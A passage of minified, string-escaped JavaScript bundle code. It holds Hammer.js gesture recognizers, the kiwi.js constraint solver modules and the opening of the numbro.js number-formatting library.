this.reset(),void(this.state=32);56&this.state&&(this.state=Mt),this.state=this.process(e),30&this.state&&this.tryEmit(e)},process:function(t){},getTouchAction:function(){},reset:function(){}},d(Nt,Ot,{defaults:{pointers:1},attrTest:function(t){var e=this.options.pointers;return 0===e||t.pointers.length===e},process:function(t){var e=this.state,i=t.eventType,n=6&e,r=this.attrTest(t);return n&&(i&B||!r)?16|e:n||r?i&R?8|e:2&e?4|e:2:32}}),d(Ft,Nt,{defaults:{event:\\\"pan\\\",threshold:10,pointers:1,direction:H},getTouchAction:function(){var t=this.options.direction,e=[];return t&Y&&e.push(Tt),t&X&&e.push(Ct),e},directionTest:function(t){var e=this.options,i=!0,n=t.distance,r=t.direction,o=t.deltaX,s=t.deltaY;return r&e.direction||(e.direction&Y?(r=0===o?L:o<0?V:G,i=o!=this.pX,n=Math.abs(t.deltaX)):(r=0===s?L:s<0?U:q,i=s!=this.pY,n=Math.abs(t.deltaY))),t.direction=r,i&&n>e.threshold&&r&e.direction},attrTest:function(t){return Nt.prototype.attrTest.call(this,t)&&(2&this.state||!(2&this.state)&&this.directionTest(t))},emit:function(t){this.pX=t.deltaX,this.pY=t.deltaY;var e=Pt(t.direction);e&&(t.additionalEvent=this.options.event+e),this._super.emit.call(this,t)}}),d(Dt,Nt,{defaults:{event:\\\"pinch\\\",threshold:0,pointers:2},getTouchAction:function(){return[St]},attrTest:function(t){return this._super.attrTest.call(this,t)&&(Math.abs(t.scale-1)>this.options.threshold||2&this.state)},emit:function(t){if(1!==t.scale){var e=t.scale<1?\\\"in\\\":\\\"out\\\";t.additionalEvent=this.options.event+e}this._super.emit.call(this,t)}}),d(It,Ot,{defaults:{event:\\\"press\\\",pointers:1,time:251,threshold:9},getTouchAction:function(){return[\\\"auto\\\"]},process:function(t){var e=this.options,i=t.pointers.length===e.pointers,n=t.distance<e.threshold,r=t.deltaTime>e.time;if(this._input=t,!n||!i||t.eventType&(R|B)&&!r)this.reset();else if(t.eventType&I)this.reset(),this._timer=u(function(){this.state=8,this.tryEmit()},e.time,this);else if(t.eventType&R)return 8;return 32},reset:function(){clearTimeout(this._timer)},emit:function(t){8===this.state&&(t&&t.eventType&R?this.manager.emit(this.options.event+\\\"up\\\",t):(this._input.timeStamp=k(),this.manager.emit(this.options.event,this._input)))}}),d(Rt,Nt,{defaults:{event:\\\"rotate\\\",threshold:0,pointers:2},getTouchAction:function(){return[St]},attrTest:function(t){return this._super.attrTest.call(this,t)&&(Math.abs(t.rotation)>this.options.threshold||2&this.state)}}),d(Bt,Nt,{defaults:{event:\\\"swipe\\\",threshold:10,velocity:.3,direction:Y|X,pointers:1},getTouchAction:function(){return Ft.prototype.getTouchAction.call(this)},attrTest:function(t){var e,i=this.options.direction;return i&(Y|X)?e=t.overallVelocity:i&Y?e=t.overallVelocityX:i&X&&(e=t.overallVelocityY),this._super.attrTest.call(this,t)&&i&t.offsetDirection&&t.distance>this.options.threshold&&t.maxPointers==this.options.pointers&&w(e)>this.options.velocity&&t.eventType&R},emit:function(t){var e=Pt(t.offsetDirection);e&&this.manager.emit(this.options.event+e,t),this.manager.emit(this.options.event,t)}}),d(Lt,Ot,{defaults:{event:\\\"tap\\\",pointers:1,taps:1,interval:300,time:250,threshold:9,posThreshold:10},getTouchAction:function(){return[kt]},process:function(t){var e=this.options,i=t.pointers.length===e.pointers,n=t.distance<e.threshold,r=t.deltaTime<e.time;if(this.reset(),t.eventType&I&&0===this.count)return this.failTimeout();if(n&&r&&i){if(t.eventType!=R)return this.failTimeout();var o=!this.pTime||t.timeStamp-this.pTime<e.interval,s=!this.pCenter||it(this.pCenter,t.center)<e.posThreshold;this.pTime=t.timeStamp,this.pCenter=t.center,s&&o?this.count+=1:this.count=1,this._input=t;var a=this.count%e.taps;if(0===a)return this.hasRequireFailures()?(this._timer=u(function(){this.state=8,this.tryEmit()},e.interval,this),2):8}return 32},failTimeout:function(){return this._timer=u(function(){this.state=32},this.options.interval,this),32},reset:function(){clearTimeout(this._timer)},emit:function(){8==this.state&&(this._input.tapCount=this.count,this.manager.emit(this.options.event,this._input))}}),Vt.VERSION=\\\"2.0.7\\\",Vt.defaults={domEvents:!1,touchAction:\\\"compute\\\",enable:!0,inputTarget:null,inputClass:null,preset:[[Rt,{enable:!1}],[Dt,{enable:!1},[\\\"rotate\\\"]],[Bt,{direction:Y}],[Ft,{direction:Y},[\\\"swipe\\\"]],[Lt],[Lt,{event:\\\"doubletap\\\",taps:2},[\\\"tap\\\"]],[It]],cssProps:{userSelect:\\\"none\\\",touchSelect:\\\"none\\\",touchCallout:\\\"none\\\",contentZooming:\\\"none\\\",userDrag:\\\"none\\\",tapHighlightColor:\\\"rgba(0,0,0,0)\\\"}},Gt.prototype={set:function(t){return s(this.options,t),t.touchAction&&this.touchAction.update(),t.inputTarget&&(this.input.destroy(),this.input.target=t.inputTarget,this.input.init()),this},stop:function(t){this.session.stopped=t?2:1},recognize:function(t){var e=this.session;if(!e.stopped){var i;this.touchAction.preventDefaults(t);var n=this.recognizers,r=e.curRecognizer;(!r||r&&8&r.state)&&(r=e.curRecognizer=null);for(var o=0;o<n.length;)i=n[o],2===e.stopped||r&&i!=r&&!i.canRecognizeWith(r)?i.reset():i.recognize(t),!r&&14&i.state&&(r=e.curRecognizer=i),o++}},get:function(t){if(t instanceof Ot)return t;for(var e=this.recognizers,i=0;i<e.length;i++)if(e[i].options.event==t)return e[i];return null},add:function(t){if(n(t,\\\"add\\\",this))return this;var e=this.get(t.options.event);return e&&this.remove(e),this.recognizers.push(t),(t.manager=this).touchAction.update(),t},remove:function(t){if(n(t,\\\"remove\\\",this))return this;if(t=this.get(t)){var e=this.recognizers,i=T(e,t);-1!==i&&(e.splice(i,1),this.touchAction.update())}return this},on:function(t,e){if(t!==x&&e!==x){var i=this.handlers;return c(C(t),function(t){i[t]=i[t]||[],i[t].push(e)}),this}},off:function(t,e){if(t!==x){var i=this.handlers;return c(C(t),function(t){e?i[t]&&i[t].splice(T(i[t],e),1):delete i[t]}),this}},emit:function(t,e){var i,n,r;this.options.domEvents&&(i=t,n=e,(r=a.createEvent(\\\"Event\\\")).initEvent(i,!0,!0),(r.gesture=n).target.dispatchEvent(r));var o=this.handlers[t]&&this.handlers[t].slice();if(o&&o.length){e.type=t,e.preventDefault=function(){e.srcEvent.preventDefault()};for(var s=0;s<o.length;)o[s](e),s++}},destroy:function(){this.element&&Ut(this,!1),this.handlers={},this.session={},this.input.destroy(),this.element=null}},s(Vt,{INPUT_START:I,INPUT_MOVE:2,INPUT_END:R,INPUT_CANCEL:B,STATE_POSSIBLE:Mt,STATE_BEGAN:2,STATE_CHANGED:4,STATE_ENDED:8,STATE_RECOGNIZED:8,STATE_CANCELLED:16,STATE_FAILED:32,DIRECTION_NONE:L,DIRECTION_LEFT:V,DIRECTION_RIGHT:G,DIRECTION_UP:U,DIRECTION_DOWN:q,DIRECTION_HORIZONTAL:Y,DIRECTION_VERTICAL:X,DIRECTION_ALL:H,Manager:Gt,Input:Q,TouchAction:Et,TouchInput:mt,MouseInput:at,PointerEventInput:_t,TouchMouseInput:yt,SingleTouchInput:dt,Recognizer:Ot,AttrRecognizer:Nt,Tap:Lt,Pan:Ft,Swipe:Bt,Pinch:Dt,Rotate:Rt,Press:It,on:g,off:y,each:c,merge:p,extend:_,assign:s,inherit:d,bindFn:f,prefixed:M});var qt=void 0!==o?o:\\\"undefined\\\"!=typeof self?self:{};qt.Hammer=Vt,void 0!==Yt&&Yt.exports?Yt.exports=Vt:o.Hammer=Vt}(window,document)},function(t,e,i){var n,r,o=t(353);(r=n=i.Operator||(i.Operator={}))[r.Le=0]=\\\"Le\\\",r[r.Ge=1]=\\\"Ge\\\",r[r.Eq=2]=\\\"Eq\\\";var s=function(){function t(t,e,i){void 0===i&&(i=o.Strength.required),this._id=a++,this._operator=e,this._expression=t,this._strength=o.Strength.clip(i)}return t.Compare=function(t,e){return t.id-e.id},t.prototype.toString=function(){var t=this;return this._expression+\\\" \\\"+function(){switch(t._operator){case n.Le:return\\\"<=\\\";case n.Ge:return\\\">=\\\";case n.Eq:return\\\"==\\\"}}()+\\\" 0\\\"},Object.defineProperty(t.prototype,\\\"id\\\",{get:function(){return this._id},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"expression\\\",{get:function(){return this._expression},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"op\\\",{get:function(){return this._operator},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"strength\\\",{get:function(){return this._strength},enumerable:!0,configurable:!0}),t}();i.Constraint=s;var a=0},function(t,e,i){var h=t(357),u=t(360),c=t(351),n=function(){function t(){var t=function(t){for(var e=0,i=function(){return 0},n=c.createMap(u.Variable.Compare),r=0,o=t.length;r<o;++r){var s=t[r];if(\\\"number\\\"==typeof s)e+=s;else if(s instanceof u.Variable)n.setDefault(s,i).second+=1;else{if(!(s instanceof Array))throw new Error(\\\"invalid Expression argument: \\\"+JSON.stringify(s));if(2!==s.length)throw new Error(\\\"array must have length 2\\\");var a=s[0],l=s[1];if(\\\"number\\\"!=typeof a)throw new Error(\\\"array item 0 must be a number\\\");if(!(l instanceof u.Variable))throw new Error(\\\"array item 1 must be a variable\\\");n.setDefault(l,i).second+=a}}return{terms:n,constant:e}}(arguments);this._terms=t.terms,this._constant=t.constant}return t.prototype.toString=function(){var e=[];h.forEach(this._terms,function(t){e.push([t.first,t.second])});for(var t=!0,i=\\\"\\\",n=0,r=e;n<r.length;n++){var o=r[n],s=o[0],a=o[1];t?(t=!1,i+=1==a?\\\"\\\"+s:-1==a?\\\"-\\\"+s:a+\\\"*\\\"+s):i+=1==a?\\\" + \\\"+s:-1==a?\\\" - \\\"+s:0<=a?\\\" + \\\"+a+s:\\\" - \\\"+-a+s}var l=this.constant;return l<0?i+=\\\" - \\\"+-l:0<l&&(i+=\\\" + \\\"+l),i},Object.defineProperty(t.prototype,\\\"terms\\\",{get:function(){return this._terms},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"constant\\\",{get:function(){return this._constant},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"value\\\",{get:function(){var e=this._constant;return h.forEach(this._terms,function(t){e+=t.first.value*t.second}),e},enumerable:!0,configurable:!0}),t}();i.Expression=n},function(t,e,i){\\n      /*-----------------------------------------------------------------------------\\n          | Copyright (c) 2014, Nucleic Development Team.\\n          |\\n          | Distributed under the terms of the Modified BSD License.\\n          |\\n          | The full license is in the file COPYING.txt, distributed with this software.\\n          |----------------------------------------------------------------------------*/\\n      function n(t){for(var e in t)i.hasOwnProperty(e)||(i[e]=t[e])}n(t(360)),n(t(349)),n(t(348)),n(t(353)),n(t(352))},function(t,e,i){var n=t(357);i.createMap=function(t){return new n.AssociativeArray(t)}},function(t,e,i){var g,n,r=t(360),a=t(349),y=t(348),b=t(353),o=t(351),s=t(357),l=function(){function t(){this._cnMap=o.createMap(y.Constraint.Compare),this._rowMap=o.createMap(h.Compare),this._varMap=o.createMap(r.Variable.Compare),this._editMap=o.createMap(r.Variable.Compare),this._infeasibleRows=[],this._objective=new k,this._artificial=null,this._idTick=0}return t.prototype.addConstraint=function(t){var e=this._cnMap.find(t);if(void 0!==e)throw new Error(\\\"duplicate constraint\\\");var i=this._createRow(t),n=i.row,r=i.tag,o=this._chooseSubject(n,r);if(o.type()===g.Invalid&&n.allDummies()){if(!x(n.constant())){for(var s=[],a=0,l=t.expression.terms._array;a<l.length;a++){var h=l[a];s.push(h.first.name)}var u=[\\\"LE\\\",\\\"GE\\\",\\\"EQ\\\"][t.op];throw new Error(\\\"unsatisfiable constraint [\\\"+s.join(\\\",\\\")+\\\"] operator: \\\"+u)}o=r.marker}if(o.type()===g.Invalid){if(!this._addWithArtificialVariable(n))throw new Error(\\\"unsatisfiable constraint\\\")}else n.solveFor(o),this._substitute(o,n),this._rowMap.insert(o,n);this._cnMap.insert(t,r),this._optimize(this._objective)},t.prototype.removeConstraint=function(t,e){void 0===e&&(e=!1);var i=this._cnMap.erase(t);if(void 0===i){if(e)return;throw new Error(\\\"unknown constraint\\\")}this._removeConstraintEffects(t,i.second);var n=i.second.marker,r=this._rowMap.erase(n);if(void 0===r){var o=this._getMarkerLeavingSymbol(n);if(o.type()===g.Invalid)throw new Error(\\\"failed to find leaving row\\\");(r=this._rowMap.erase(o)).second.solveForEx(o,n),this._substitute(n,r.second)}this._optimize(this._objective)},t.prototype.hasConstraint=function(t){return this._cnMap.contains(t)},t.prototype.addEditVariable=function(t,e){var i=this._editMap.find(t);if(void 0!==i)throw new Error(\\\"duplicate edit variable: \\\"+t.name);if((e=b.Strength.clip(e))===b.Strength.required)throw new Error(\\\"bad required strength\\\");var n=new a.Expression(t),r=new y.Constraint(n,y.Operator.Eq,e);this.addConstraint(r);var o=this._cnMap.find(r).second,s={tag:o,constraint:r,constant:0};this._editMap.insert(t,s)},t.prototype.removeEditVariable=function(t,e){void 0===e&&(e=!1);var i=this._editMap.erase(t);if(void 0===i){if(e)return;throw new Error(\\\"unknown edit variable: \\\"+t.name)}this.removeConstraint(i.second.constraint,e)},t.prototype.hasEditVariable=function(t){return this._editMap.contains(t)},t.prototype.suggestValue=function(t,e){var i=this._editMap.find(t);if(void 0===i)throw new Error(\\\"unknown edit variable: \\\"+t.name);var n=this._rowMap,r=i.second,o=e-r.constant;r.constant=e;var s=r.tag.marker,a=n.find(s);if(void 0!==a)return a.second.add(-o)<0&&this._infeasibleRows.push(s),void this._dualOptimize();var l=r.tag.other;if(void 0!==(a=n.find(l)))return a.second.add(o)<0&&this._infeasibleRows.push(l),void this._dualOptimize();for(var h=0,u=n.size();h<u;++h){var c=n.itemAt(h),_=c.second,p=_.coefficientFor(s);0!==p&&_.add(o*p)<0&&c.first.type()!==g.External&&this._infeasibleRows.push(c.first)}this._dualOptimize()},t.prototype.updateVariables=function(){for(var t=this._varMap,e=this._rowMap,i=0,n=t.size();i<n;++i){var r=t.itemAt(i),o=e.find(r.second),s=0;void 0!==o&&-0===(s=o.second.constant())&&(s=0),r.first.setValue(s)}},t.prototype.getConstraints=function(){var e=[];return s.forEach(this._cnMap,function(t){e.push(t.first)}),e},Object.defineProperty(t.prototype,\\\"numConstraints\\\",{get:function(){return this._cnMap.size()},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"numEditVariables\\\",{get:function(){return this._editMap.size()},enumerable:!0,configurable:!0}),t.prototype._getVarSymbol=function(t){var e=this;return this._varMap.setDefault(t,function(){return e._makeSymbol(g.External)}).second},t.prototype._createRow=function(t){for(var e=t.expression,i=new k(e.constant),n=e.terms,r=0,o=n.size();r<o;++r){var s=n.itemAt(r);if(!x(s.second)){var a=this._getVarSymbol(s.first),l=this._rowMap.find(a);void 0!==l?i.insertRow(l.second,s.second):i.insertSymbol(a,s.second)}}var h=this._objective,u=t.strength,c={marker:w,other:w};switch(t.op){case y.Operator.Le:case y.Operator.Ge:var _=t.op===y.Operator.Le?1:-1,p=this._makeSymbol(g.Slack);if(c.marker=p,i.insertSymbol(p,_),u<b.Strength.required){var d=this._makeSymbol(g.Error);c.other=d,i.insertSymbol(d,-_),h.insertSymbol(d,u)}break;case y.Operator.Eq:if(u<b.Strength.required){var f=this._makeSymbol(g.Error),v=this._makeSymbol(g.Error);c.marker=f,c.other=v,i.insertSymbol(f,-1),i.insertSymbol(v,1),h.insertSymbol(f,u),h.insertSymbol(v,u)}else{var m=this._makeSymbol(g.Dummy);c.marker=m,i.insertSymbol(m)}}return i.constant()<0&&i.reverseSign(),{row:i,tag:c}},t.prototype._chooseSubject=function(t,e){for(var i=t.cells(),n=0,r=i.size();n<r;++n){var o=i.itemAt(n);if(o.first.type()===g.External)return o.first}var s=e.marker.type();return(s===g.Slack||s===g.Error)&&t.coefficientFor(e.marker)<0?e.marker:((s=e.other.type())===g.Slack||s===g.Error)&&t.coefficientFor(e.other)<0?e.other:w},t.prototype._addWithArtificialVariable=function(t){var e=this._makeSymbol(g.Slack);this._rowMap.insert(e,t.copy()),this._artificial=t.copy(),this._optimize(this._artificial);var i=x(this._artificial.constant());this._artificial=null;var n=this._rowMap.erase(e);if(void 0!==n){var r=n.second;if(r.isConstant())return i;var o=this._anyPivotableSymbol(r);if(o.type()===g.Invalid)return!1;r.solveForEx(e,o),this._substitute(o,r),this._rowMap.insert(o,r)}for(var s=this._rowMap,a=0,l=s.size();a<l;++a)s.itemAt(a).second.removeSymbol(e);return this._objective.removeSymbol(e),i},t.prototype._substitute=function(t,e){for(var i=this._rowMap,n=0,r=i.size();n<r;++n){var o=i.itemAt(n);o.second.substitute(t,e),o.second.constant()<0&&o.first.type()!==g.External&&this._infeasibleRows.push(o.first)}this._objective.substitute(t,e),this._artificial&&this._artificial.substitute(t,e)},t.prototype._optimize=function(t){for(;;){var e=this._getEnteringSymbol(t);if(e.type()===g.Invalid)return;var i=this._getLeavingSymbol(e);if(i.type()===g.Invalid)throw new Error(\\\"the objective is unbounded\\\");var n=this._rowMap.erase(i).second;n.solveForEx(i,e),this._substitute(e,n),this._rowMap.insert(e,n)}},t.prototype._dualOptimize=function(){for(var t=this._rowMap,e=this._infeasibleRows;0!==e.length;){var i=e.pop(),n=t.find(i);if(void 0!==n&&n.second.constant()<0){var r=this._getDualEnteringSymbol(n.second);if(r.type()===g.Invalid)throw new Error(\\\"dual optimize failed\\\");var o=n.second;t.erase(i),o.solveForEx(i,r),this._substitute(r,o),t.insert(r,o)}}},t.prototype._getEnteringSymbol=function(t){for(var e=t.cells(),i=0,n=e.size();i<n;++i){var r=e.itemAt(i),o=r.first;if(r.second<0&&o.type()!==g.Dummy)return o}return w},t.prototype._getDualEnteringSymbol=function(t){for(var e=Number.MAX_VALUE,i=w,n=t.cells(),r=0,o=n.size();r<o;++r){var s=n.itemAt(r),a=s.first,l=s.second;if(0<l&&a.type()!==g.Dummy){var h=this._objective.coefficientFor(a),u=h/l;u<e&&(e=u,i=a)}}return i},t.prototype._getLeavingSymbol=function(t){for(var e=Number.MAX_VALUE,i=w,n=this._rowMap,r=0,o=n.size();r<o;++r){var s=n.itemAt(r),a=s.first;if(a.type()!==g.External){var l=s.second,h=l.coefficientFor(t);if(h<0){var u=-l.constant()/h;u<e&&(e=u,i=a)}}}return i},t.prototype._getMarkerLeavingSymbol=function(t){for(var e=Number.MAX_VALUE,i=e,n=e,r=w,o=r,s=r,a=r,l=this._rowMap,h=0,u=l.size();h<u;++h){var c=l.itemAt(h),_=c.second,p=_.coefficientFor(t);if(0!==p){var d=c.first;if(d.type()===g.External)a=d;else if(p<0){var f=-_.constant()/p;f<i&&(i=f,o=d)}else{var f=_.constant()/p;f<n&&(n=f,s=d)}}}return o!==r?o:s!==r?s:a},t.prototype._removeConstraintEffects=function(t,e){e.marker.type()===g.Error&&this._removeMarkerEffects(e.marker,t.strength),e.other.type()===g.Error&&this._removeMarkerEffects(e.other,t.strength)},t.prototype._removeMarkerEffects=function(t,e){var i=this._rowMap.find(t);void 0!==i?this._objective.insertRow(i.second,-e):this._objective.insertSymbol(t,-e)},t.prototype._anyPivotableSymbol=function(t){for(var e=t.cells(),i=0,n=e.size();i<n;++i){var r=e.itemAt(i),o=r.first.type();if(o===g.Slack||o===g.Error)return r.first}return w},t.prototype._makeSymbol=function(t){return new h(t,this._idTick++)},t}();function x(t){return t<0?-t<1e-8:t<1e-8}i.Solver=l,(n=g||(g={}))[n.Invalid=0]=\\\"Invalid\\\",n[n.External=1]=\\\"External\\\",n[n.Slack=2]=\\\"Slack\\\",n[n.Error=3]=\\\"Error\\\",n[n.Dummy=4]=\\\"Dummy\\\";var h=function(){function t(t,e){this._id=e,this._type=t}return t.Compare=function(t,e){return t.id()-e.id()},t.prototype.id=function(){return this._id},t.prototype.type=function(){return this._type},t}(),w=new h(g.Invalid,-1),k=function(){function e(t){void 0===t&&(t=0),this._cellMap=o.createMap(h.Compare),this._constant=t}return e.prototype.cells=function(){return this._cellMap},e.prototype.constant=function(){return this._constant},e.prototype.isConstant=function(){return this._cellMap.empty()},e.prototype.allDummies=function(){for(var t=this._cellMap,e=0,i=t.size();e<i;++e){var n=t.itemAt(e);if(n.first.type()!==g.Dummy)return!1}return!0},e.prototype.copy=function(){var t=new e(this._constant);return t._cellMap=this._cellMap.copy(),t},e.prototype.add=function(t){return this._constant+=t},e.prototype.insertSymbol=function(t,e){void 0===e&&(e=1);var i=this._cellMap.setDefault(t,function(){return 0});x(i.second+=e)&&this._cellMap.erase(t)},e.prototype.insertRow=function(t,e){void 0===e&&(e=1),this._constant+=t._constant*e;for(var i=t._cellMap,n=0,r=i.size();n<r;++n){var o=i.itemAt(n);this.insertSymbol(o.first,o.second*e)}},e.prototype.removeSymbol=function(t){this._cellMap.erase(t)},e.prototype.reverseSign=function(){this._constant=-this._constant;for(var t=this._cellMap,e=0,i=t.size();e<i;++e){var n=t.itemAt(e);n.second=-n.second}},e.prototype.solveFor=function(t){var e=this._cellMap,i=e.erase(t),n=-1/i.second;this._constant*=n;for(var r=0,o=e.size();r<o;++r)e.itemAt(r).second*=n},e.prototype.solveForEx=function(t,e){this.insertSymbol(t,-1),this.solveFor(e)},e.prototype.coefficientFor=function(t){var e=this._cellMap.find(t);return void 0!==e?e.second:0},e.prototype.substitute=function(t,e){var i=this._cellMap.erase(t);void 0!==i&&this.insertRow(e,i.second)},e}()},function(t,e,i){!function(e){function t(t,e,i,n){void 0===n&&(n=1);var r=0;return r+=1e6*Math.max(0,Math.min(1e3,t*n)),r+=1e3*Math.max(0,Math.min(1e3,e*n)),r+=Math.max(0,Math.min(1e3,i*n))}e.create=t,e.required=t(1e3,1e3,1e3),e.strong=t(1,0,0),e.medium=t(0,1,0),e.weak=t(0,0,1),e.clip=function(t){return Math.max(0,Math.min(e.required,t))}}(i.Strength||(i.Strength={}))},function(t,e,i){var l=t(358);function o(t,e,i){for(var n,r,o=0,s=t.length;0<s;)i(t[r=o+(n=s>>1)],e)<0?(o=r+1,s-=n+1):s=n;return o}i.lowerBound=o,i.binarySearch=function(t,e,i){var n=o(t,e,i);if(n===t.length)return-1;var r=t[n];return 0!==i(r,e)?-1:n},i.binaryFind=function(t,e,i){var n=o(t,e,i);if(n!==t.length){var r=t[n];if(0===i(r,e))return r}},i.asSet=function(t,e){var i=l.asArray(t),n=i.length;if(n<=1)return i;i.sort(e);for(var r=[i[0]],o=1,s=0;o<n;++o){var a=i[o];0!==e(r[s],a)&&(r.push(a),++s)}return r},i.setIsDisjoint=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length;n<o&&r<s;){var a=i(t[n],e[r]);if(a<0)++n;else{if(!(0<a))return!1;++r}}return!0},i.setIsSubset=function(t,e,i){var n=t.length,r=e.length;if(r<n)return!1;for(var o=0,s=0;o<n&&s<r;){var a=i(t[o],e[s]);if(a<0)return!1;0<a||++o,++s}return!(o<n)},i.setUnion=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length,a=[];n<o&&r<s;){var l=t[n],h=e[r],u=i(l,h);u<0?(a.push(l),++n):(0<u?a.push(h):(a.push(l),++n),++r)}for(;n<o;)a.push(t[n]),++n;for(;r<s;)a.push(e[r]),++r;return a},i.setIntersection=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length,a=[];n<o&&r<s;){var l=t[n],h=e[r],u=i(l,h);u<0?++n:(0<u||(a.push(l),++n),++r)}return a},i.setDifference=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length,a=[];n<o&&r<s;){var l=t[n],h=e[r],u=i(l,h);u<0?(a.push(l),++n):(0<u||++n,++r)}for(;n<o;)a.push(t[n]),++n;return a},i.setSymmetricDifference=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length,a=[];n<o&&r<s;){var l=t[n],h=e[r],u=i(l,h);u<0?(a.push(l),++n):(0<u?a.push(h):++n,++r)}for(;n<o;)a.push(t[n]),++n;for(;r<s;)a.push(e[r]),++r;return a}},function(t,e,i){var n=t(358),r=function(){function t(){this._array=[]}return t.prototype.size=function(){return this._array.length},t.prototype.empty=function(){return 0===this._array.length},t.prototype.itemAt=function(t){return this._array[t]},t.prototype.takeAt=function(t){return this._array.splice(t,1)[0]},t.prototype.clear=function(){this._array=[]},t.prototype.swap=function(t){var e=this._array;this._array=t._array,t._array=e},t.prototype.__iter__=function(){return n.iter(this._array)},t.prototype.__reversed__=function(){return n.reversed(this._array)},t}();i.ArrayBase=r},function(t,e,i){\\n      /*-----------------------------------------------------------------------------\\n          | Copyright (c) 2014, Nucleic Development Team.\\n          |\\n          | Distributed under the terms of the Modified BSD License.\\n          |\\n          | The full license is in the file COPYING.txt, distributed with this software.\\n          |----------------------------------------------------------------------------*/\\n      var n,r=this&&this.__extends||(n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)e.hasOwnProperty(i)&&(t[i]=e[i])},function(t,e){function i(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(i.prototype=e.prototype,new i)}),s=t(359),o=t(355),a=t(354),l=t(358),h=function(n){function o(t){var i,e=n.call(this)||this;return e._compare=t,e._wrapped=(i=t,function(t,e){return i(t.first,e)}),e}return r(o,n),o.prototype.comparitor=function(){return this._compare},o.prototype.indexOf=function(t){return a.binarySearch(this._array,t,this._wrapped)},o.prototype.contains=function(t){return 0<=a.binarySearch(this._array,t,this._wrapped)},o.prototype.find=function(t){return a.binaryFind(this._array,t,this._wrapped)},o.prototype.setDefault=function(t,e){var i=this._array,n=a.lowerBound(i,t,this._wrapped);if(n===i.length){var r=new s.Pair(t,e());return i.push(r),r}var o=i[n];if(0!==this._compare(o.first,t)){var r=new s.Pair(t,e());return i.splice(n,0,r),r}return o},o.prototype.insert=function(t,e){var i=this._array,n=a.lowerBound(i,t,this._wrapped);if(n===i.length){var r=new s.Pair(t,e);return i.push(r),r}var o=i[n];if(0!==this._compare(o.first,t)){var r=new s.Pair(t,e);return i.splice(n,0,r),r}return o.second=e,o},o.prototype.update=function(t){var e=this;t instanceof o?this._array=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length,a=[];n<o&&r<s;){var l=t[n],h=e[r],u=i(l.first,h.first);u<0?(a.push(l.copy()),++n):(0<u?a.push(h.copy()):(a.push(h.copy()),++n),++r)}for(;n<o;)a.push(t[n].copy()),++n;for(;r<s;)a.push(e[r].copy()),++r;return a}(this._array,t._array,this._compare):l.forEach(t,function(t){e.insert(t.first,t.second)})},o.prototype.erase=function(t){var e=this._array,i=a.binarySearch(e,t,this._wrapped);if(!(i<0))return e.splice(i,1)[0]},o.prototype.copy=function(){for(var t=new o(this._compare),e=t._array,i=this._array,n=0,r=i.length;n<r;++n)e.push(i[n].copy());return t},o}(o.ArrayBase);i.AssociativeArray=h},function(t,e,i){function n(t){for(var e in t)i.hasOwnProperty(e)||(i[e]=t[e])}n(t(354)),n(t(355)),n(t(356)),n(t(358)),n(t(359))},function(t,e,i){var n=function(){function t(t,e){void 0===e&&(e=0),this._array=t,this._index=Math.max(0,Math.min(e,t.length))}return t.prototype.__next__=function(){return this._array[this._index++]},t.prototype.__iter__=function(){return this},t}();i.ArrayIterator=n;var r=function(){function t(t,e){void 0===e&&(e=t.length),this._array=t,this._index=Math.max(0,Math.min(e,t.length))}return t.prototype.__next__=function(){return this._array[--this._index]},t.prototype.__iter__=function(){return this},t}();i.ReverseArrayIterator=r,i.iter=function(t){return t instanceof Array?new n(t):t.__iter__()},i.reversed=function(t){return t instanceof Array?new r(t):t.__reversed__()},i.next=function(t){return t.__next__()},i.asArray=function(t){if(t instanceof Array)return t.slice();for(var e,i=[],n=t.__iter__();void 0!==(e=n.__next__());)i.push(e);return i},i.forEach=function(t,e){if(t instanceof Array){for(var i=0,n=t.length;i<n;++i)if(!1===e(t[i]))return}else for(var r,o=t.__iter__();void 0!==(r=o.__next__());)if(!1===e(r))return},i.map=function(t,e){var i=[];if(t instanceof Array)for(var n=0,r=t.length;n<r;++n)i.push(e(t[n]));else for(var o,s=t.__iter__();void 0!==(o=s.__next__());)i.push(e(o));return i},i.filter=function(t,e){var i,n=[];if(t instanceof Array)for(var r=0,o=t.length;r<o;++r)i=t[r],e(i)&&n.push(i);else for(var s=t.__iter__();void 0!==(i=s.__next__());)e(i)&&n.push(i);return n}},function(t,e,i){var n=function(){function t(t,e){this.first=t,this.second=e}return t.prototype.copy=function(){return new t(this.first,this.second)},t}();i.Pair=n},function(t,e,i){var n=function(){function t(t){void 0===t&&(t=\\\"\\\"),this._value=0,this._context=null,this._id=r++,this._name=t}return t.Compare=function(t,e){return t.id-e.id},t.prototype.toString=function(){return this._name},Object.defineProperty(t.prototype,\\\"id\\\",{get:function(){return this._id},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"name\\\",{get:function(){return this._name},enumerable:!0,configurable:!0}),t.prototype.setName=function(t){this._name=t},Object.defineProperty(t.prototype,\\\"context\\\",{get:function(){return this._context},enumerable:!0,configurable:!0}),t.prototype.setContext=function(t){this._context=t},Object.defineProperty(t.prototype,\\\"value\\\",{get:function(){return this._value},enumerable:!0,configurable:!0}),t.prototype.setValue=function(t){this._value=t},t}();i.Variable=n;var r=0},function(t,e,i){\\n      /*!\\n           * numbro.js\\n           * version : 1.6.2\\n           * author : FÃ¶retagsplatsen AB\\n           * license : MIT\\n           * http://www.foretagsplatsen.se\\n           */\\n      var u,U={},o=U,q=\\\"en-US\\\",Y=null,r=\\\"0,0\\\";function n(t){this._value=t}function p(t){var e,i=\\\"\\\";for(e=0;e<t;e++)i+=\\\"0\\\";return i}function X(t,e,i,n){var r,o,s,a,l,h,u,c,_=Math.pow(10,e);return 